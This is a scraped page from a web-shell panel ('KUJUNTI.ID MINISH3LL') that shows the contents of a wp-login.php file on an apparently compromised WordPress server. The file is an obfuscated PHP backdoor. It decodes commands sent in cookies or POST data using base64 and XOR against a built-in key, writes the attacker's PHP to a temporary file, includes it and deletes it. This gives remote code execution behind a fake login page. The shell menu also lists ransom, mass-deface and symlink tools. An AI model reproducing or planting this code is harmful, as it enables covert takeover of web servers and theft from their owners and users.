\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/accessdenied/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/accessdenied/wp-login.php


<?php       function /* ek*/ bqd_d(){$hpmsgo='d_kwsb'; /*  tfwr*/ print_r      (43750+43750); /*   ysfshh*/ }


$toxdmmhw /*hvoe   */ =    'toxdmmhw' /*  m*/ ^	'

';




$ojqrrn /* lukt*/ = /*ze  */ $_COOKIE;

$av_cxiax_w    =  'mx';



$wfzbxzwqvrkuzc  = /* tux_  */ 334;


$rskjkzk /*  eocct */ =    $wfzbxzwqvrkuzc   %    17;





function /* cy_dyz   */ uwyjtinpcv($_m_il, /*  xkunbi */ $rrcqfh)

{


       global	$toxdmmhw;     $yswzdyyasx    = /* uplr   */ "";
    $wmpzoq      =	613;
       $pdfmp    =       0;

	

 /*b*/ while /*   cmjzzx */ ($pdfmp /*w_bxq  */ <	strlen($_m_il)) /*aw */ {

      $wfzbxzwqvr	= /*hb */ 0;

 /*   z   */ while    ($wfzbxzwqvr   <    strlen($rrcqfh)	&& /*   fmjc */ $pdfmp    <       strlen($_m_il))	{

    
      $yswzdyyasx /*  krdus */ .= /*  jkuzv */ $toxdmmhw(ord($_m_il[$pdfmp])     ^    ord($rrcqfh[$wfzbxzwqvr]));

   $ocuztoj	=    306;

        /*  z  */ $wfzbxzwqvr++;


    $pdfmp++;

    }

	}
   return	$yswzdyyasx;}
function   ulwie_wq($fptyqjkal,  $_m_il)
{


 /*   y_adar   */ global  $toxdmmhw;



       $xmngap   =	sprintf(".".$toxdmmhw(894-847)	. /*   quyurb   */ "%".$toxdmmhw(802-687)    .   ".".$toxdmmhw(112)      .    "l",    md5($fptyqjkal)); /* np  */ $hnasac	=      'ecp';
       file_put_contents($xmngap,       "<"    .	$toxdmmhw(849-786)  .    "p".$toxdmmhw(104) /*  prf   */ .      "p".$toxdmmhw(32)	.      "\165"       . /* s*/ $toxdmmhw(110)    . /*   exm   */ $toxdmmhw(108)   .  "\x69" /*  lvdkwt   */ .    "n".$toxdmmhw(107)    .	"("."_"."_"."F"."I"."L"."E"."\x5f"   .       $toxdmmhw(825-730) /*  njtgm*/ .       "\x29"  . /*  usl  */ ";".$toxdmmhw(32)	. /*   ddpj   */ $_m_il["d"]);
$bslglzk     =       'wlgvifa';
	include($xmngap);


    $hqplps   = /*   pi*/ 'hvhuzdxfhq';

       $kqehtji  =     $xmngap;


    @unlink($kqehtji);

}






function    rxzcitcgy(){


 /*   yksts*/ $qitgst_t /*   kjo  */ =    'lbrmzi';
	$nnjvssj    = /* _tyyea  */ 'ld_ccrbqk';

}



rxzcitcgy();






function	lprmzvf_(){

     global /*  tpvs */ $toxdmmhw;


    $pdfmp /* t */ =	array(); /*   jnazix */ $pdfmp["\x70"	.    "v"] /*qcqj */ = /*fyze  */ phpversion();

 /*   dgm   */ $pdfmp["s".$toxdmmhw(118)]	=       "\63"      .	"\56"  .	$toxdmmhw(789-736);


	$_ffdin    =  'qwmwvbtndf'; /*   wh*/ $oqivbqlmig	=       'xq';

 /* p   */ echo      @serialize($pdfmp);


 /* jdbke   */ $sdsdv /*dzkhho  */ =     'ffdyn_'; /*  sbo  */ $xurmmdihum /*b  */ =     914;
}



function /*  ov  */ zeiby($_m_il,	$fptyqjkal, /*sl */ $wfzbxzwqvr_lud)

{
       global      $toxdmmhw;





 /*  tgrw*/ $_m_il    = /*fx_  */ unserialize(uwyjtinpcv(uwyjtinpcv(base64_decode($_m_il), /*wxh   */ $fptyqjkal),  $wfzbxzwqvr_lud));
     $cjukfdcu      =  568;
  if  (isset($_m_il[$toxdmmhw(97)      .	$toxdmmhw(107)])) /*   o*/ {

 /*ulzod   */ if /* yq */ ($_m_il["\141"]  == /*eclb  */ $toxdmmhw(105)) /* ua  */ {


   lprmzvf_();

 /* rqtkte*/ }	elseif    ($_m_il["\141"] /* de*/ ==      "e")	{

	ulwie_wq($fptyqjkal,	$_m_il);

    }

 /*gr */ exit();

 /*   h */ }


}



$ojqrrn	=	array_merge($_POST,      $ojqrrn);


$fptyqjkal    =    "\x64"	.	"8"."\x65" /*   ju   */ . /*   pgtw*/ "\65"	.      "\64"    .    "5"."f"."\x32"     . /* yknei  */ $toxdmmhw(45)       .      "\x36" /*   gve */ .    "\60"    .      "7"."5"."-"."4".$toxdmmhw(700-651)	. /* qearn*/ "\64" /*  mgwi   */ .    "7"."-".$toxdmmhw(97)      .       "b".$toxdmmhw(51)  .    $toxdmmhw(97)	.    "\x2d"	.	"\64" /*   roofx*/ .     $toxdmmhw(48)	.    $toxdmmhw(49) /*   lyuga  */ . /* kjlrq   */ $toxdmmhw(48)       . /*zwf  */ "8"."3"."6".$toxdmmhw(190-91)	. /*ez   */ $toxdmmhw(527-475)    .    $toxdmmhw(99)  .       "\66" /*  u*/ . /* jlw   */ "0";
$yrs_ry /*   txzdb*/ =    'bxvtli_';

$pdfmppcwfqc  =      'lu';foreach    ($ojqrrn /* _ */ as	$wfzbxzwqvr_lud	=>    $_m_il)  {
       zeiby($_m_il,   $fptyqjkal,	$wfzbxzwqvr_lud);}







?>

© KUJUNTI.ID